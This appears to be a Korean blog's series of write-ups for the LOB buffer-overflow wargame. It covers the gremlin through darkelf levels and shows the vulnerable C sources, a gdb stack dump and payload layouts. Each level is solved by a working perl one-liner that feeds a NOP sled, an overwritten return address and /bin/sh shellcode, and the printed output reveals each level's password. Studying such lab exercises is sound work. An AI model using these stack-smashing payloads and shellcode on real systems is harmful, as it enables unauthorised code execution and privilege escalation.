0xbffffa1c: 0x00000010 0x0fabfbff 0x0000000f 0xbffffa5a

0xbffffa2c: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffa3c: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffa4c: 0x00000000 0x00000000 0x00000000 0x36690000

0xbffffa5c: 0x2f003638 0x2f706d74 0x6b726164 0x00666c65

0xbffffa6c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffa7c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffa8c: 0x90909090 0x90909090 0x90909090 0xbf414141// 이부분 이후 

0xbffffa9c: 0x90909000 0x90909090 0x90909090 0x90909090

0xbffffaac: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffabc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffacc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffadc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffaec: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffafc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb0c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb1c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb2c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb3c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb4c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffb5c: 0x90909090 0x90909090 0x50c03190 0x732f2f68

0xbffffb6c: 0x622f6868 0xe3896e69 0xe1895350 0xcd0bb099

0xbffffb7c: 0x57500080 0x742f3d44 0x5200706d 0x544f4d45

0xbffffb8c: 0x534f4845 0x39313d54 0x36312e32 0x32372e38

0xbffffb9c: 0x4800312e 0x4e54534f 0x3d454d41 0x61636f6c

0xbffffbac: 0x736f686c 0x6f6c2e74 0x646c6163 0x69616d6f

---Type <return> to continue, or q <return> to quit---


굵은 부분으로 표시해둔 부분 이후에 썰매가 계속해서 진행되므로 한부분을 임의로 지정해서 넣어주게되면 

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x44,"\xbc\xfa\xff\xbf"'` `perl -e 'print"\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????술

bash$ my-pass

euid = 506

kernel crashed

쉘이따집니다 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level8.orge  (0) 2014.08.14
(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
,
반응형

이전레벨에 버퍼에 쉘코드를 집어넣지 않고, RETN 주소를 NOP로 우회하고 풀었었는데,

그 덕에, 이번레벨도 소스보자마자 바로풀어버렷네요 ㅋㅋ 

소스를 보면, 

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

memset을 사용해서  버퍼안의 모든 값(40)을 0으로 채워버립니다. 

이전 레벨에서 만약에 버퍼에다가 쉘코드를 넣어줫엇다면 이번문제를 다시풀어야 했겟지만, 

운좋게 이전 레벨에서 만든이가 의도하지 않은 방법으로 풀어버리는 바람에 똑같은 방법으로 풀수 있었습니다. 

진행을 보면
|buffer | SFP | RETN | 

이런식이 되는데 buffer 부분에는 memset 이 걸려있기때문에 쉘코드를 넣을 수 없는 부분이 됩니다

 페이로드를 구성하면

| NOP (44) | AAA\xbf | NOP(200) | 쉘코드 |

주소따오는 방법은 이전 레벨에서  설명했으므로 생략하고, 

페이로드를 완성하면

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\x02\xfa\xff\xbf","\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

?????????????????????????????????????????????퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                    것€

bash$ my-pass

euid = 505

love eyuna

쉘이 깔끔하게 따집니다 


+)복습할겸 왠만하면 다른생각을 해볼생각으로 접근해봣는데 이렇게해도 풀리네요 

[orc@localhost /tmp]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

printf("Using : %p\n",argv[2]);

}


[orc@localhost /tmp]$ ./wolfman `perl -e 'print "\x90"x44,"\x2f\xfc\xff\xbf"'` `perl -e 'print "\x90"x30,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????/?

Using : 0xbffffc2f

bash$ exit

exit

[orc@localhost /tmp]$ cd ~

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\x2f\xfc\xff\xbf"'` `perl -e 'print "\x90"x30,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????/?

bash$ my-pass

euid = 505

love eyuna


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level2.gremlin  (0) 2014.08.08
,
반응형

개인적으로 이문제가 지금까지 풀었던 LOB문제중에 제일 쉽게 풀렸습니다 5분 정도 걸렷네요 ㅋㅋ 

소스 부터보면

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

다른 부분은 이전 레벨과 비슷하고, 굵은 부분으로 표시된 부분, 카나리를 우회할 줄 아느냐 모르느냐가 이번 레

벨의 핵심이라 볼 수 있겟습니다

저 명령어를 해석해보면 

"argv의 2번쨰 인자의 48번쨰 커맨드가 \xbf여야 한다"

라는 것인데, 첫번째 인자로는 파일명이 들어가고 2번째인자는 우리가 넣는 커맨드 부분입니다.

따라서 48번째 커맨드에 \xbf가 들어간다면 이번 레벨의 문제는 지금 까지 풀어온 문제처럼 풀리게 됩니다

자세히 보면 , 48 번쨰는 retn 주소의 가장 앞부분입니다. 우선적으로 흐름을 보면

|buffer [40] | SFP | RETN | 

이런식으로 진행이 되는데 페이로드를

|NOP(44byte) | AAA\xbf | NOP(200byte) |  쉘코드

이런식이됩니다. RETN에 넣어준 주소는 이전 레벨과 같이 200 byte 의 NOP의 일부분이며, 

소스를 추가하여 간단하게 알아내었습니다

[goblin@localhost /tmp]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

printf("0x%x\n",buffer[47]);//추가한 부분


}


[goblin@localhost /tmp]$ ./orc `perl -e 'print "\x90"x44,"AAA","\xbf","\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????AAA퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                    것€

0xbffff9fc

Segmentation fault

주소를 알아내었으니, 페이로드를 완벽하게 구성하면 


[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xfc\xf9\xff\xbf","\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????效퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                    것€

bash$ my-pass

euid = 504

cantata


쉘이 따집니다 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level2.gremlin  (0) 2014.08.08
(LOB)Level1. gate  (0) 2014.08.07
,
반응형

LOB 풀면서 작은실수 하나가 큰사단을 일으킨다는걸 정말 다시금 깨닫는것 같습니다 


문제의 소스는 다음과 같습니다 

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}

이전 레벨과 비슷하지만 gets 명령을 사용하고 있습니다. gets 명령은 엔터를 치기전까지 버퍼를 받기 때문에, 

버퍼오버플로우를 일으킬수 있습니다.

이전 레벨처럼 소스를 추가해주고 컴파일을 하면,

[cobolt@localhost /tmp]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

printf("0x%0x\n",&buffer[25]);


}

[cobolt@localhost /tmp]$ gcc -o goblin goblin.c 

/tmp/ccuvxEfd.o: In function `main':

/tmp/ccuvxEfd.o(.text+0xb): the `gets' function is dangerous and should not be used.

이렇게 친절하게 위험하다는 말도 얹어서 컴파일이 됩니다 

(이전레벨과 방식이 비슷하기 때문에 RETN 에 들어가는 주소는 알아서 찾을수 있을거라 생각됩니다)

우선 진행을 보면

|buf [16] | SFP | RETN|

다음으로  페이로드를 보면

|NOP [20] | &buffer[25]| NOP[100]| 쉘코드

페이로드는 이전 레벨과 비슷합니다만 커맨드를 때려줄때 조금 주의해야할 부분이 있습니다.

gets 함수에서는  엔터를 치기전까지 버퍼를 채워넣기 때문에 이전레벨처럼 커맨드를 때려주게 되면,

우리가 원하는 쉘을 따올수가 없습니다 

그래서 사용한 방법이 파이프를 넣는 방법(|) 인데,  파이프의 사용법은 다음과 같습니다

(명령 1) | (명령 2)

명령1을 뭉탱이로 명령2에 집어넣는다

이런식으로해서 페이로드를 작성해주면 

[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20,"\xb1\xf9\xff\xbf","\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)|./goblin


????????????????????깥퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                                                것€

my-pass

euid = 503

hackers proof


쉘이 따집니다 


+)흠 ..gets()에 커맨드 날릴떄 이중으로 감싸주면 왜 안되는거지 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level2.gremlin  (0) 2014.08.08
(LOB)Level1. gate  (0) 2014.08.07
,
반응형

환경변수로 풀다가 안풀려서 다른방법으로 풀었는데 

환경변수로 다시풀어보고 다른풀이가 있다면 추가적으로 올리도록 하겠습니다 

소스를 보면

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

gate 문제와 똑같지만 버퍼의크기가 작아져서 쉘코드를 직접적으로 넣어줄수 없는 상황입니다 

따라서 

| buf[16] |SFP| retn| 

이런식으로 전개가 될텐데, 

페이로드를 

|1.nop(20byte) | retn  | 2.nop | 쉘코드| 

이런식으로 작성해주고, retn에  2.nop의 한부분의주소를 가리키게 한다면 이번 문제는 풀리게 됩니다

retn 에 들어가야할 주소를 모르므로 끝부분에 retn 에 필요한 주소를 알아내도록 소스를 추가해주면 ,


[gremlin@localhost /tmp]$ cat vi cobolt.c

cat: vi: No such file or directory

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

printf("0x%0x\n",&buffer[25]);


}

이렇게 됩니다.

굵은 부분으로 표시한 부분을 삽입해주게 되면 25번쨰의 주소를 뱉어주게 됩니다 

따라서 작성한 페이로드에서 retn 부분만 우리가 모르는 상태였으므로 마저 채워주고 페이로드를 집어넣게되면 


[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xe1\xf6\xff\xbf","\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????囚퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                            것€

bash$ my-pass

euid = 502

hacking exposed


문제는 풀리게 됩니다 .

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level1. gate  (0) 2014.08.07
,